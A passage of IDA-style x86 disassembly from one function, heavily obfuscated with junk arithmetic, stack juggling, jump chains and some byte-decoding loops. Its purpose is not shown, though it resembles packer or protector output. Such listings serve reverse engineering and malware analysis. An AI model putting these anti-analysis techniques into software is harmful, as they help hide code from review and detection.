		xor	ebx, 49174CCBh
		xor	ebx, 29D94B4Bh
		jmp	loc_597384
; ---------------------------------------------------------------------------


loc_597915:				; CODE XREF: sub_581EE9+11CDEj
		push	[esp-6E7Ah+arg_6E72]
		mov	edi, [esp-6E76h+arg_6E6E]
		jmp	loc_5A0448
; ---------------------------------------------------------------------------


loc_597920:				; CODE XREF: sub_581EE9+1BDFCj
		sub	edi, 4E23503Ah
		shr	edi, 4
		xor	edi, 39A10DBEh
		jmp	loc_59AC9C
; ---------------------------------------------------------------------------


loc_597934:				; CODE XREF: sub_581EE9+19309j
		mov	[esp-6E76h+arg_6E6E], edx
		push	[esp-6E76h+arg_6E72]
		mov	edx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		pop	[esp-6E76h+arg_6E6E]
		pop	esp
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], edi
		jmp	loc_598456
; ---------------------------------------------------------------------------


loc_597956:				; CODE XREF: sub_581EE9+1A65Cj
		add	eax, 4
		sub	eax, 4
		jmp	loc_596D5F
; ---------------------------------------------------------------------------


loc_597965:				; CODE XREF: sub_581EE9+11D9Cj
		not	ecx
		xor	ecx, 0F4589234h
		sub	ebx, ecx
		jmp	loc_5A31D1
; ---------------------------------------------------------------------------


loc_597974:				; CODE XREF: sub_581EE9+1D02Cj
		mov	ecx, 62BB1707h
		push	edi
		mov	edi, 1FCE6C02h
		jmp	loc_5A04D4
; ---------------------------------------------------------------------------


loc_597984:				; CODE XREF: sub_581EE9+1A835j
		push	60F2h
		mov	[esp-6E60h+arg_6E58], edx
		mov	dh, 0ABh
		neg	dh
		push	ecx
		jmp	loc_593714
; ---------------------------------------------------------------------------


loc_597996:				; CODE XREF: sub_581EE9+1E06Dj
		push	edx
		mov	edx, 2551692Bh
		or	ebp, edx
		pop	edx
		push	eax
		mov	eax, 3DDB5926h
		add	eax, 6D10455Bh
		jmp	loc_5925A2
; ---------------------------------------------------------------------------


loc_5979AF:				; CODE XREF: sub_581EE9+1FAC9j
		add	ecx, edx
		pop	edx
		push	edi
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		push	edi
		add	[esp-6E54h+arg_6E4C], 2C985D18h
		jmp	loc_5A0896
; ---------------------------------------------------------------------------


loc_5979C6:				; CODE XREF: sub_581EE9+126FBj
		push	[esp-6E84h+arg_6E7C]
		jmp	loc_595044
; ---------------------------------------------------------------------------


loc_5979CE:				; CODE XREF: sub_581EE9+1EA9Fj
		xor	bh, 0A5h
		jmp	loc_59E322
; ---------------------------------------------------------------------------


loc_5979D6:				; CODE XREF: sub_581EE9+18E91j
		pop	ebp
		dec	eax
		inc	eax
		push	368Ah
		mov	[esp-6E80h+arg_6E76+2],	ecx
		jmp	loc_5A0C80
; ---------------------------------------------------------------------------


loc_5979E6:				; CODE XREF: sub_581EE9+16C94j
		mov	ebx, 36501FB1h
		jmp	loc_59F3AE
; ---------------------------------------------------------------------------


loc_5979F0:				; CODE XREF: sub_581EE9+22095j
		add	ebx, 2517675h
		add	ebx, ecx
		jmp	loc_5A2463
; ---------------------------------------------------------------------------


loc_5979FD:				; CODE XREF: sub_581EE9+19F32j
		mov	esi, 1D374013h
		push	edx
		mov	edx, 3B9E4FF4h
		xor	esi, edx
		jmp	loc_597597
; ---------------------------------------------------------------------------
		push	[esp-6E7Ch+arg_6E72+2]
		push	[esp-6E78h+arg_6E6E+2]
		pop	ecx
		push	eax
		push	esp
		jmp	loc_5A3C72
; ---------------------------------------------------------------------------


loc_597A1D:				; CODE XREF: sub_581EE9+15FE2j
		mov	edx, 2C2F4462h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0A88EACF2h
		push	edi
		mov	edi, 4699181Fh
		push	ecx
		mov	ecx, 329B0868h
		add	edi, ecx
		jmp	loc_5968C9
; ---------------------------------------------------------------------------


loc_597A46:				; CODE XREF: sub_581EE9+10432j
		pop	esp
		add	eax, 4
		sub	esp, 4
		mov	[esp-6EA8h+arg_6E9E+2],	ebx
		push	ecx
		mov	ecx, 142B2C09h
		add	ecx, 0EBD4D3FBh
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		mov	ebx, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		push	eax
		push	[esp-6EA8h+arg_6EA4]
		mov	eax, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		pop	[esp-6EA8h+arg_6E9E+2]
		jmp	loc_5A6FB1
; ---------------------------------------------------------------------------


loc_597A82:				; CODE XREF: sub_581EE9+220DEj
		mov	edi, esp
		jmp	loc_5A00A8
; ---------------------------------------------------------------------------


loc_597A89:				; CODE XREF: sub_581EE9+18859j
		mov	[esp-6EACh+arg_6EA4], ecx
		mov	ecx, 5CA53F14h
		push	ebx
		mov	ebx, 1A2F0D87h
		and	ebx, 1630E6Eh
		sub	ebx, 13C2788Bh
		jmp	loc_59B70C
; ---------------------------------------------------------------------------


loc_597AA8:				; CODE XREF: sub_581EE9+238ACj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597AAD:				; CODE XREF: sub_581EE9+1B8EDj
		push	esi
		mov	esi, 4F6E0398h
		shl	esi, 6
		xor	esi, 4D24D3Ch
		jmp	loc_598C67
; ---------------------------------------------------------------------------


loc_597AC1:				; CODE XREF: sub_581EE9+1ACBBj
		not	ax
		xchg	ax, di
		not	di
		jmp	loc_5A11EA
; ---------------------------------------------------------------------------


loc_597ACE:				; CODE XREF: sub_581EE9+101C0j
		push	5235h
		mov	[esp-6EA6h+arg_6E9E], ecx
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], eax
		push	6AE430A1h
		pop	eax
		push	4659h
		jmp	loc_5977CB
; ---------------------------------------------------------------------------


loc_597AEF:				; CODE XREF: sub_581EE9+190E3j
		push	[esp-6E9Eh+arg_6E96]
		pop	ebp
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_59C85E
; ---------------------------------------------------------------------------


loc_597AFC:				; CODE XREF: sub_581EE9+23DDEj
		push	esp
		pop	edx
		push	edi
		mov	edi, 6D276879h
		xor	edi, 5B7F6140h
		push	esi
		mov	esi, 36580935h
		sub	edi, esi
		pop	esi
		add	edx, edi
		jmp	loc_5A5387
; ---------------------------------------------------------------------------


loc_597B1A:				; CODE XREF: sub_581EE9+1097Fj
		push	[esp-6EC0h+arg_6EBA+2]
		pop	edi
		pop	[esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		push	7A1Ch
		mov	[esp-6EC0h+arg_6EB6+2],	edi
		jmp	loc_592D06
; ---------------------------------------------------------------------------


loc_597B32:				; CODE XREF: sub_581EE9+1971Cj
		mov	edi, 7E1818D4h
		mov	ebp, edi
		pop	edi
		jmp	loc_59AB32
; ---------------------------------------------------------------------------


loc_597B3F:				; CODE XREF: sub_581EE9+180F8j
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_59DEDA
; ---------------------------------------------------------------------------


loc_597B4F:				; CODE XREF: sub_581EE9+14161j
		mov	edx, 4
		add	ecx, edx
		jmp	loc_594A07
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_59C34B
; ---------------------------------------------------------------------------


loc_597B63:				; CODE XREF: sub_581EE9+13740j
		xchg	edi, [esp-6E94h+arg_6E8A+2]
		jmp	loc_5A0F70
; ---------------------------------------------------------------------------


loc_597B6B:				; CODE XREF: sub_581EE9+1B724j
		xchg	edi, [esp-6E94h+arg_6E8A+2]
		pop	esp
		sub	esi, 4
		xchg	esi, [esp-6E98h+arg_6E8E+2]
		pop	esp
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		xor	[esp-6E9Ch+arg_6E92+2],	14C94B37h
		mov	eax, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		jmp	loc_59F932
; ---------------------------------------------------------------------------


loc_597B8E:				; CODE XREF: sub_581EE9+24BE2j
		pop	ebx
		inc	ebx
		xor	ebx, 33051AB0h
		push	4855h
		jmp	loc_5A33FD
; ---------------------------------------------------------------------------


loc_597BA0:				; CODE XREF: sub_581EE9+1425Ej
		inc	edi
		add	edi, 0DD24B45h
		xor	edi, 0A0978027h
		mov	eax, edi
		pop	edi
		add	eax, 6489636Bh
		sub	eax, 39693D6Ah
		jmp	loc_5A28FA
; ---------------------------------------------------------------------------


loc_597BBF:				; CODE XREF: sub_581EE9+1956Dj
		mov	edx, 0A53BE5h
		add	[esp-6E92h+arg_6E8E], edx
		mov	edx, [esp-6E92h+arg_6E8A]
		add	esp, 4
		sub	[esp-6E96h+arg_6E8E], eax
		sub	[esp-6E96h+arg_6E8E], 0A53BE5h
		push	esi
		jmp	loc_59E1BD
; ---------------------------------------------------------------------------


loc_597BE1:				; CODE XREF: sub_581EE9+25111j
		push	ebp
		mov	ebp, 3644DA4h
		sub	ebp, 2F5F4A67h
		jmp	loc_5999BB
; ---------------------------------------------------------------------------


loc_597BF2:				; CODE XREF: sub_581EE9+20934j
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		mov	ebx, 5F3538CFh
		xor	ecx, ebx
		pop	ebx
		push	ecx
		xchg	ebp, [esp-6E8Eh+arg_6E84+2]
		jmp	loc_59342F
; ---------------------------------------------------------------------------


loc_597C06:				; CODE XREF: sub_581EE9+1F23Aj
		or	eax, 80F0093h
		push	ebp
		push	esi
		jmp	loc_598213
; ---------------------------------------------------------------------------


loc_597C12:				; CODE XREF: sub_581EE9+1F8F3j
		push	2416h
		mov	dword ptr [esp-6E82h+arg_6E7A],	ecx
		push	eax
		mov	eax, 77942825h
		sub	eax, 599E2744h
		neg	eax
		inc	eax
		xor	eax, 4B0B1CA8h
		add	eax, 0CFB56588h
		mov	ecx, eax
		jmp	loc_594783
; ---------------------------------------------------------------------------
		push	ebp
		push	ebx
		mov	ebx, 42FD70DAh
		mov	ebp, 42FD70DAh
		xor	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], edx
		sub	esp, 4
		push	917h
		mov	[esp-6E6Eh+arg_6E64+2],	esp
		add	[esp-6E6Eh+arg_6E64+2],	4
		jmp	loc_599F52
; ---------------------------------------------------------------------------


loc_597C68:				; CODE XREF: sub_581EE9+1E410j
		add	edx, 4
		xchg	edx, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		jmp	loc_5961FD
; ---------------------------------------------------------------------------


loc_597C74:				; CODE XREF: sub_581EE9+125E8j
		xchg	ebx, [esp-6E9Eh+arg_6E96]
		jmp	loc_59D11F
; ---------------------------------------------------------------------------


loc_597C7C:				; CODE XREF: sub_581EE9+18C74j
		add	di, 1
		push	bp
		jmp	loc_5A391B
; ---------------------------------------------------------------------------


loc_597C87:				; CODE XREF: sub_581EE9+13FF4j
		push	esi
		jmp	loc_595B2C
; ---------------------------------------------------------------------------


loc_597C8D:				; CODE XREF: sub_581EE9+11B15j
		and	ebx, 758914CEh
		sub	ebx, 0A7EA9549h
		mov	esi, ebx
		pop	ebx
		not	esi
		jmp	loc_596644
; ---------------------------------------------------------------------------


loc_597CA3:				; CODE XREF: sub_581EE9+100A5j
		sub	[esp-6EAEh+arg_6EA8+2],	79E82679h
		sub	[esp-6EAEh+arg_6EA8+2],	ecx
		add	[esp-6EAEh+arg_6EA8+2],	79E82679h
		pop	ecx
		push	[esp-6EB2h+arg_6EA8+2]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5944AB
; ---------------------------------------------------------------------------


loc_597CC4:				; CODE XREF: sub_581EE9+19E7Cj
		mov	ebp, 316013Eh
		shl	ebp, 3
		dec	ebp
		jmp	loc_5A1098
; ---------------------------------------------------------------------------


loc_597CD2:				; CODE XREF: sub_581EE9+10260j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597CE3:				; CODE XREF: sub_581EE9+1F0C3j
		add	edx, 1
		sub	edx, 4D71F8A6h
		jmp	loc_5A608C
; ---------------------------------------------------------------------------


loc_597CF1:				; CODE XREF: sub_581EE9+17B1Dj
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597CF7:				; CODE XREF: sub_581EE9+1F916j
		add	esp, 4
		push	[esp-6EBEh+arg_6EB6]
		jmp	loc_59FB12
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EBAh+arg_6EB2]
		push	esi
		mov	esi, esp
		jmp	loc_5A3765
; ---------------------------------------------------------------------------


loc_597D0E:				; CODE XREF: sub_581EE9+20FA8j
		add	ebp, 4
		xchg	ebp, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		add	esp, 4
		add	edx, 4
		jmp	loc_59C9F4
; ---------------------------------------------------------------------------


loc_597D20:				; CODE XREF: sub_581EE9+20F88j
		add	ebx, edi
		pop	edi
		push	0D2Ch
		mov	[esp-6EBEh+arg_6EB6], ebp
		jmp	loc_597F99
; ---------------------------------------------------------------------------


loc_597D30:				; CODE XREF: sub_581EE9+169B5j
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		jmp	loc_5A52D2
; ---------------------------------------------------------------------------


loc_597D43:				; CODE XREF: sub_581EE9+153AAj
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	ebx, 222B5FA3h
		sub	ebx, ebp
		add	ebx, 222B5FA3h
		pop	ebp
		push	7EBBh
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		jmp	loc_5A3426
; ---------------------------------------------------------------------------


loc_597D66:				; CODE XREF: sub_581EE9+1C562j
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], edi
		mov	edi, 0
		jmp	loc_5965BF
; ---------------------------------------------------------------------------


loc_597D79:				; CODE XREF: sub_581EE9+19798j
		add	ebx, eax
		add	ebx, 129049C2h
		jmp	loc_59C61D
; ---------------------------------------------------------------------------


loc_597D86:				; CODE XREF: sub_581EE9+18D03j
		dec	ebp
		or	ebp, 4AA54079h
		push	edi
		mov	edi, 53E033B3h
		xor	ebp, edi
		pop	edi
		and	ebp, 53945AEh
		add	ebp, 750B0968h
		add	ebx, ebp
		push	[esp-6EA6h+arg_6E9E]
		push	[esp-6EA2h+arg_6E9A]
		pop	ebp
		add	esp, 4
		jmp	loc_594D98
; ---------------------------------------------------------------------------


loc_597DB6:				; CODE XREF: sub_581EE9+2514Aj
		neg	esi
		sub	esi, 43472D42h
		add	esi, 4AA49889h
		add	ecx, esi
		pop	esi
		sub	ecx, 7F95635h
		add	ecx, edi
		add	ecx, 7F95635h
		sub	ecx, 32524ACDh
		pop	edi
		xchg	ecx, [esp-6EAEh+arg_6EA4+2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		shl	word ptr [esp-6EAEh+arg_6EA4+2], cl
		pushf
		jmp	loc_59710A
; ---------------------------------------------------------------------------


loc_597DEC:				; CODE XREF: sub_581EE9+15A05j
		sub	eax, 4
		xchg	eax, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		mov	[esp-6E6Eh+arg_6E64+2],	ebp
		mov	ebp, 57E45454h
		mov	edi, 4EB421BCh
		xor	edi, ebp
		jmp	loc_5A1EB8
; ---------------------------------------------------------------------------


loc_597E09:				; CODE XREF: sub_581EE9+1D78Dj
		or	bl, 8Bh
		jmp	loc_59EDF9
; ---------------------------------------------------------------------------


loc_597E11:				; CODE XREF: sub_581EE9+22DBBj
		mov	[esp-6E6Eh+arg_6E64+2],	esp
		jmp	loc_5A1490
; ---------------------------------------------------------------------------


loc_597E19:				; CODE XREF: sub_581EE9+2066Fj
		mov	[esp-6E6Eh+arg_6E64+2],	esp
		jmp	loc_593599
; ---------------------------------------------------------------------------


loc_597E21:				; CODE XREF: sub_581EE9+165DDj
		mov	edx, 9856442h
		dec	edx
		add	edx, 38506477h
		add	edx, 0FD458EDAh
		add	ecx, edx
		jmp	loc_595BA9
; ---------------------------------------------------------------------------


loc_597E3A:				; CODE XREF: sub_581EE9+18280j
		sub	ebx, 50E367A2h
		add	edi, ebx
		pop	ebx
		add	ecx, edi
		mov	edi, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		add	ecx, 2
		push	ecx
		jmp	loc_59DC62
; ---------------------------------------------------------------------------


loc_597E54:				; CODE XREF: sub_581EE9+24C43j
		pop	[esp-6E72h+arg_6E68+2]
		push	eax
		mov	eax, 4
		jmp	loc_595C6E
; ---------------------------------------------------------------------------


loc_597E62:				; CODE XREF: sub_581EE9+207A6j
		add	ebx, 244C5F45h
		sub	ebx, 5AA07129h
		sub	ebx, 405546B2h
		jmp	loc_5A709F
; ---------------------------------------------------------------------------


loc_597E79:				; CODE XREF: sub_581EE9+12F8Aj
		add	esp, 4
		push	edx
		mov	edx, 227E5EF4h
		and	edx, 783A1356h
		inc	edx
		or	edx, 2619558Dh
		jmp	loc_5951EE
; ---------------------------------------------------------------------------


loc_597E97:				; CODE XREF: sub_581EE9+112D8j
		mov	ebp, esi
		pop	esi
		add	ebp, 19E70101h
		shl	ebp, 6
		jmp	loc_59B7A6
; ---------------------------------------------------------------------------


loc_597EA8:				; CODE XREF: sub_581EE9+1308Bj
		inc	ebx
		push	66E2h
		mov	[esp-6E88h+arg_6E80], edx
		mov	edx, 137712B9h
		jmp	loc_59E918
; ---------------------------------------------------------------------------


loc_597EBB:				; CODE XREF: sub_581EE9+18222j
		xchg	eax, [esp-6E88h+arg_6E80]
		pop	esp
		jmp	loc_5A026B
; ---------------------------------------------------------------------------


loc_597EC4:				; CODE XREF: sub_581EE9+1B3C2j
		push	edx
		push	eax
		mov	eax, 7B5E1770h
		jmp	loc_597A1D
; ---------------------------------------------------------------------------


loc_597ED0:				; CODE XREF: sub_581EE9+24C6Ej
		add	ebp, 4
		jmp	loc_599E88
; ---------------------------------------------------------------------------


loc_597EDB:				; CODE XREF: sub_581EE9+17D63j
		mov	[esp-6E84h+arg_6E7C], edx
		jmp	loc_5A11A5
; ---------------------------------------------------------------------------


loc_597EE3:				; CODE XREF: sub_581EE9+14718j
		xor	ebp, 5F9C05BAh
		add	esi, ebp
		jmp	loc_598A78
; ---------------------------------------------------------------------------


loc_597EF0:				; CODE XREF: sub_581EE9+1A1EBj
		pop	ebp
		mov	esi, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		push	edx
		mov	edx, 11FB0D00h
		xor	edx, 4D90103Fh
		add	edx, 0FFFFFFFFh
		dec	edx
		inc	edx
		xor	edx, 5C6B1D3Ah
		add	esi, edx
		pop	edx
		push	2781h
		mov	[esp-6E6Ah+arg_6E60+2],	ebx
		push	ecx
		jmp	loc_59D62C
; ---------------------------------------------------------------------------


loc_597F1F:				; CODE XREF: sub_581EE9+1F4E2j
		add	esi, edx
		pop	edx
		push	4C53h
		mov	[esp-6E66h+arg_6E5C+2],	ebp
		push	edi
		mov	edi, 1FB57003h
		shl	edi, 1
		push	edx
		mov	edx, 5F6A7712h
		dec	edx
		push	ebx
		mov	ebx, 683800F0h
		and	edx, ebx
		jmp	loc_59ACAC
; ---------------------------------------------------------------------------


loc_597F46:				; CODE XREF: sub_581EE9+11856j
		sub	eax, edx
		mov	edx, [esp-6E86h+arg_6E7C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		push	esi
		mov	esi, 9145B5Ch
		or	esi, 5B07612h
		inc	esi
		and	esi, 0FB16DCFh
		dec	esi
		push	edi
		mov	edi, 66A0179Dh
		jmp	loc_59E2E1
; ---------------------------------------------------------------------------


loc_597F79:				; CODE XREF: sub_581EE9+1B145j
		mov	ebx, 2BB32908h
		or	ebx, 5A5B506Fh
		shl	ebx, 1
		push	70FAh
		mov	[esp-6E7Ah+arg_6E72], ecx
		jmp	loc_596E72
; ---------------------------------------------------------------------------


loc_597F93:				; CODE XREF: sub_581EE9+20A53j
		pop	edx
		jmp	loc_5A4A09
; ---------------------------------------------------------------------------


loc_597F99:				; CODE XREF: sub_581EE9+15E42j
		push	edx
		mov	edx, 2
		mov	ebp, edx
		pop	edx
		add	ebx, ebp
		jmp	loc_5A37BF
; ---------------------------------------------------------------------------


loc_597FA9:				; CODE XREF: sub_581EE9+12716j
		pop	eax
		push	eax
		push	esi
		mov	esi, 492635FCh
		jmp	loc_5A46B0
; ---------------------------------------------------------------------------


loc_597FB6:				; CODE XREF: sub_581EE9+193CCj
		add	ch, 0E1h
		jmp	loc_5965B5
; ---------------------------------------------------------------------------


loc_597FBE:				; CODE XREF: sub_581EE9+193D7j
		xchg	esi, [esp-6E80h+arg_6E76+2]
		mov	esp, [esp-6E80h+arg_6E76+2]
		mul	cx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_594F26
; ---------------------------------------------------------------------------


loc_597FD9:				; CODE XREF: sub_581EE9+20E8Fj
		add	bl, al
		jmp	loc_59B9FD
; ---------------------------------------------------------------------------


loc_597FE0:				; CODE XREF: sub_581EE9+21B8Cj
		xor	[esp-6E7Ch+arg_6E72+2],	edx
		jmp	loc_599A6E
; ---------------------------------------------------------------------------


loc_597FE8:				; CODE XREF: sub_581EE9+23DF4j
		add	dh, bl
		jmp	loc_5936A6
; ---------------------------------------------------------------------------


loc_597FEF:				; CODE XREF: sub_581EE9+17A35j
		push	0F46h
		mov	[esp-6E78h+arg_6E6E+2],	edx
		push	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597FFE:				; CODE XREF: sub_581EE9+2150Fj
		add	edx, 0AA00AAAh
		push	esi
		mov	esi, 5DB3149Ch
		sub	esi, 0FFFFFFFFh
		dec	esi
		push	ecx
		mov	ecx, 23A1A62h
		xor	ecx, 1AAF1850h
		jmp	loc_593E27
; ---------------------------------------------------------------------------


loc_598022:				; CODE XREF: sub_581EE9+1F09Bj
		push	ebx
		push	ecx
		mov	ch, 15h
		mov	bl, ch
		jmp	loc_5A5F55
; ---------------------------------------------------------------------------


loc_59802D:				; CODE XREF: sub_581EE9+23CDDj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E60h+arg_6E58]
		pop	esp
		xor	ebp, [esp-6E64h+arg_6E5C]
		jmp	loc_59E9F8
; ---------------------------------------------------------------------------


loc_598042:				; CODE XREF: sub_581EE9+186E4j
		shl	edi, 4
		inc	edi
		jmp	loc_5A4294
; ---------------------------------------------------------------------------


loc_59804B:				; CODE XREF: sub_581EE9+250BBj
		pop	esi
		add	esi, 4
		jmp	loc_593ED5
; ---------------------------------------------------------------------------


loc_598057:				; CODE XREF: sub_581EE9+14788j
		xor	[esp-6E6Eh+arg_6E64+2],	ebp
		xor	ebp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59AB1F
; ---------------------------------------------------------------------------


loc_598062:				; CODE XREF: sub_581EE9+1A4A4j
		dec	esi
		jmp	loc_5942EE
; ---------------------------------------------------------------------------


loc_598068:				; CODE XREF: sub_581EE9+24ABAj
		mov	edx, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59EDC8
; ---------------------------------------------------------------------------


loc_598070:				; CODE XREF: sub_581EE9+2433Ej
		push	ax
		jmp	loc_5A23E4
; ---------------------------------------------------------------------------


loc_598077:				; CODE XREF: sub_581EE9+13156j
		add	al, 0A1h
		jmp	loc_596E43
; ---------------------------------------------------------------------------


loc_59807E:				; CODE XREF: sub_581EE9+1BCA4j
		push	13E929EAh
		jmp	loc_5A16AC
; ---------------------------------------------------------------------------


loc_598088:				; CODE XREF: sub_581EE9+1A44Dj
		push	[esp-6EA2h+arg_6E9A]
		jmp	loc_5A6FA1
; ---------------------------------------------------------------------------


loc_598090:				; CODE XREF: sub_581EE9+113FEj
		mov	[esp-6E9Ch+arg_6E92+2],	ecx
		push	[esp-6E9Ch+arg_6E96+2]
		pop	ecx
		pop	[esp-6E9Ch+arg_6E92+2]
		jmp	loc_5A1067
; ---------------------------------------------------------------------------


loc_5980A0:				; CODE XREF: sub_581EE9+1B61Bj
		add	esp, 4
		push	edi
		mov	edi, 6CF84FD5h
		xor	ebx, edi
		pop	edi
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		and	[edi+1Ch], ebx
		mov	ebx, [esp-6EA8h+arg_6E9E+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		jmp	loc_596F12
; ---------------------------------------------------------------------------


loc_5980D2:				; CODE XREF: sub_581EE9+22CC0j
		not	[esp-6EA0h+arg_6E96+2]
		jmp	loc_59FD95
; ---------------------------------------------------------------------------


loc_5980DA:				; CODE XREF: sub_581EE9+22581j
		sub	ecx, edx
		pop	edx
		jmp	loc_5969DA
; ---------------------------------------------------------------------------


loc_5980E2:				; CODE XREF: sub_581EE9+22AD9j
		inc	ecx
		sub	ecx, 646D14B1h
		sub	ebp, ecx
		pop	ecx
		pop	esi
		jmp	loc_5A5A38
; ---------------------------------------------------------------------------


loc_5980F2:				; CODE XREF: sub_581EE9+179E3j
		pop	cx
		mov	ch, bh
		pop	ebx
		sub	ch, dh
		jmp	loc_592DA1
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 746Eh
		mov	word ptr [esp-6EB0h+arg_6EA8], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59810F:				; CODE XREF: sub_581EE9+1A54Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-6EB0h+arg_6EA8]
		xor	[esp-6EB0h+arg_6EA8], edx
		xor	edx, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]
		and	ecx, ebp
		push	[esp-6EB0h+arg_6EA8]
		pop	ebp
		add	esp, 4
		shr	ecx, 7
		push	1FCEh
		mov	[esp-6EB0h+arg_6EA8], edx
		jmp	loc_59F08B
; ---------------------------------------------------------------------------


loc_59813F:				; CODE XREF: sub_581EE9+1BB80j
		not	si
		jmp	loc_5A428A
; ---------------------------------------------------------------------------


loc_598147:				; CODE XREF: sub_581EE9+194CAj
		add	[esp-6EB0h+arg_6EAC], ebp
		pop	ebp
		jmp	loc_5975E4
; ---------------------------------------------------------------------------


loc_598151:				; CODE XREF: sub_581EE9+10557j
		push	[esp-6EA8h+arg_6E9E+2]
		pop	edi
		add	esp, 4
		xor	edx, eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59815F:				; CODE XREF: sub_581EE9+149B4j
		xor	esi, 214610BDh
		and	esi, 1F4946C0h
		add	esi, 0FADB3BAEh
		add	ecx, esi
		pop	esi
		jmp	loc_59A59F
; ---------------------------------------------------------------------------


loc_598179:				; CODE XREF: sub_581EE9+18D36j
		mov	esp, [esp-6E94h+arg_6E8A+2]
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A0421
; ---------------------------------------------------------------------------


loc_59818A:				; CODE XREF: sub_581EE9+1E463j
		add	eax, ecx
		add	eax, 530A18D2h
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5A23A3
; ---------------------------------------------------------------------------


loc_59819F:				; CODE XREF: sub_581EE9+1BFC9j
		xor	edi, [esp-6E94h+arg_6E8A+2]
		xor	[esp-6E94h+arg_6E8A+2],	edi
		xor	edi, [esp-6E94h+arg_6E8A+2]
		pop	esp
		push	25AAh
		mov	[esp-6E94h+arg_6E8A+2],	esi
		push	[esp-6E94h+arg_6E8E+2]
		mov	esi, [esp+0]
		jmp	loc_5A582A
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D6B7
; ---------------------------------------------------------------------------


loc_5981D4:				; CODE XREF: sub_581EE9+2014Bj
		mov	[esp-6E8Ch+arg_6E84], ebx
		jmp	loc_5A0136
; ---------------------------------------------------------------------------


loc_5981DC:				; CODE XREF: sub_581EE9+229B8j
		pop	ecx
		sub	ecx, 0AD23B19h
		push	625Ch
		mov	[esp-6E8Ch+arg_6E84], ebp
		push	7976h
		jmp	loc_5A3326
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		push	eax
		jmp	loc_595D16
; ---------------------------------------------------------------------------


loc_5981FD:				; CODE XREF: sub_581EE9+1F65Fj
		push	ebp
		mov	ebp, edi
		mov	[edx+30h], ebp
		jmp	loc_5A4FBA
; ---------------------------------------------------------------------------


loc_598208:				; CODE XREF: sub_581EE9+17826j
		add	ecx, 17313765h
		jmp	loc_596485
; ---------------------------------------------------------------------------


loc_598213:				; CODE XREF: sub_581EE9+15D24j
		mov	esi, 5A9E534Fh
		mov	ebp, esi
		pop	esi
		xor	eax, ebp
		pop	ebp
		sub	edi, eax
		pop	eax
		push	edi
		push	[esp-6E8Eh+arg_6E84+2]
		pop	ebx
		push	esi
		jmp	loc_5936C2
; ---------------------------------------------------------------------------


loc_59822C:				; CODE XREF: sub_581EE9+146E0j
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5A119A
; ---------------------------------------------------------------------------


loc_59823A:				; CODE XREF: sub_581EE9+10876j
		pop	edx
		add	eax, 6C96E76h
		sub	eax, ebx
		push	ebp
		mov	ebp, 6C96E76h
		add	eax, 4A126963h
		sub	eax, ebp
		sub	eax, 4A126963h
		pop	ebp
		pop	ebx
		push	380h
		jmp	loc_596843
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EC4h+arg_6EBA+2]
		jmp	loc_59B99F
; ---------------------------------------------------------------------------


loc_598269:				; CODE XREF: sub_581EE9+1EA71j
		pop	ebx
		mov	eax, edi
		pop	edi
		add	ebx, 63673DA9h
